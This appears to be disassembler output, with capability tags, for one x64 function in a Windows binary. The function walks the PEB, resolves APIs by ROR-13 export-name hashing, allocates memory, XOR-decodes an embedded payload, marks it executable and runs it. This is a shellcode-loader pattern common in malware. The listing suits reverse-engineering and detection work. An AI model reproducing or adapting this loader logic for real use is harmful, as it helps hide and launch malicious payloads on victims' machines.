Function at 0x18004dd58
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov dword [rax + 0x20], r9d
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x98
mov rax, qword gs:[0x30]
xor r15d, r15d
mov esi, r15d
mov rdx, qword [rax + 0x60]
mov r10, qword [rdx + 0x18]
add r10, 0x10
mov rdx, qword [r10]
cmp rdx, r10
je 0x18004ddcd
lea r8, [fcn.18004e010]
mov rcx, qword [rdx + 0x30]
cmp r8, rcx
jb 0x18004ddc0
mov eax, dword [rdx + 0x40]
add rax, rcx
cmp r8, rax
jb 0x18004ddca
mov rdx, qword [rdx]
cmp rdx, r10
je 0x18004ddcd
jmp 0x18004ddac
mov rsi, rcx
call fcn.18004e010
mov r12d, eax
lea rdx, [rbp - 0x11]
add r12, rsi
mov ecx, r15d
mov r8d, dword [r12 + 4]
mov eax, dword [r12 + 8]
add rax, rsi
mov qword [rbp - 0x21], rax
movsd xmm0, qword [r8 + rsi]
mov eax, dword [r8 + rsi + 8]
movsd qword [rbp - 0x19], xmm0
mov dword [rbp - 0x11], eax
mov eax, ecx
inc ecx
and eax, 3
mov al, byte [rbp + rax - 0x15]
xor byte [rdx], al
inc rdx
cmp ecx, 4
jb 0x18004de03
lea r13, [r8 + 0xc]
mov dword [rbp - 0x31], 0xe553a458
add r13, rsi
mov dword [rbp - 0x2d], 0xc38ae110
mov r10, r15
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rbx, qword [rcx + 0x10]
mov r9, qword [rbx + 0x30]
test r9, r9
je 0x18004df0b
movups xmm0, xmmword [rbx + 0x58]
movsxd rax, dword [r9 + 0x3c]
mov rbx, qword [rbx]
movdqu xmmword [rbp - 9], xmm0
mov r11d, dword [rax + r9 + 0x88]
test r11d, r11d
je 0x18004de41
mov rax, qword [rbp - 9]
mov edx, r15d
shr rax, 0x10
movzx ecx, ax
test ecx, ecx
je 0x18004de9d
mov rax, qword [rbp - 1]
mov r8d, ecx
movsx ecx, byte [rax]
ror edx, 0xd
cmp byte [rax], 0x61
jl 0x18004de92
add edx, 0xffffffe0
add edx, ecx
inc rax
sub r8, 1
jne 0x18004de84
add r11, r9
mov r14d, dword [r11 + 0x20]
add r14, r9
cmp dword [r11 + 0x18], 0
jbe 0x18004dee0
mov edi, dword [r14]
lea r14, [r14 + 4]
add rdi, r9
xor r8d, r8d
movsx ecx, byte [rdi]
inc rdi
ror r8d, 0xd
add r8d, ecx
test cl, cl
jne 0x18004debb
lea eax, [r8 + rdx]
cmp eax, dword [rbp + r10*4 - 0x31]
je 0x18004dee8
inc r15d
cmp r15d, dword [r11 + 0x18]
jb 0x18004deae
xor r15d, r15d
jmp 0x18004de41
mov edx, dword [r11 + 0x24]
lea eax, [r15 + r15]
mov ecx, dword [r11 + 0x1c]
add rax, r9
add rcx, r9
movzx r8d, word [rdx + rax]
mov eax, dword [rcx + r8*4]
add rax, r9
xor r15d, r15d
jmp 0x18004df0e
mov rax, r15
mov qword [rbp + r10*8 + 7], rax
inc r10
cmp r10, 2
jl 0x18004de30
mov ebx, dword [rbp - 0x11]
mov r9d, 4
mov edx, ebx
mov r8d, 0x3000
xor ecx, ecx
call qword [rbp + 7]
mov rdi, rax
mov eax, ebx
mov rdx, rdi
test ebx, ebx
je 0x18004df53
sub r13, rdi
mov cl, byte [rdx + r13]
mov byte [rdx], cl
inc rdx
add eax, 0xffffffff
jne 0x18004df45
mov r8d, r15d
test ebx, ebx
je 0x18004df75
mov rcx, rdi
mov eax, r8d
inc r8d
and eax, 7
mov al, byte [rax + r12 + 0x10]
xor byte [rcx], al
inc rcx
cmp r8d, ebx
jb 0x18004df5d
lea r9, [rbp - 0x39]
mov dword [rbp - 0x39], r15d
mov r8d, 0x20
mov rdx, rbx
mov rcx, rdi
call qword [rbp + 0xf]
mov eax, dword [r12]
mov rcx, r12
cmp byte [r12 + 0x20], 1
mov rbx, qword [rbp + 0x6f]
mov dword [rbp - 0x31], eax
cmove rbx, rsi
mov eax, dword [r12 + 0xc]
cmovne rsi, r15
mov dword [rbp - 0x2d], eax
mov r9, rsi
mov rdx, qword [rbp - 0x31]
mov qword [rbp - 0x29], r15
mov eax, dword [r12 + 0x1c]
mov r8d, dword [r12 + 0x18]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp - 0x21]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x20], rax
call rdi
mov rax, qword [rbp - 0x29]
test rax, rax
je 0x18004dff7
mov r9d, dword [rbp + 0x7f]
mov rdx, rbx
mov r8, qword [rbp + 0x77]
mov rcx, qword [rbp + 0x67]
call rax
xor eax, eax
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret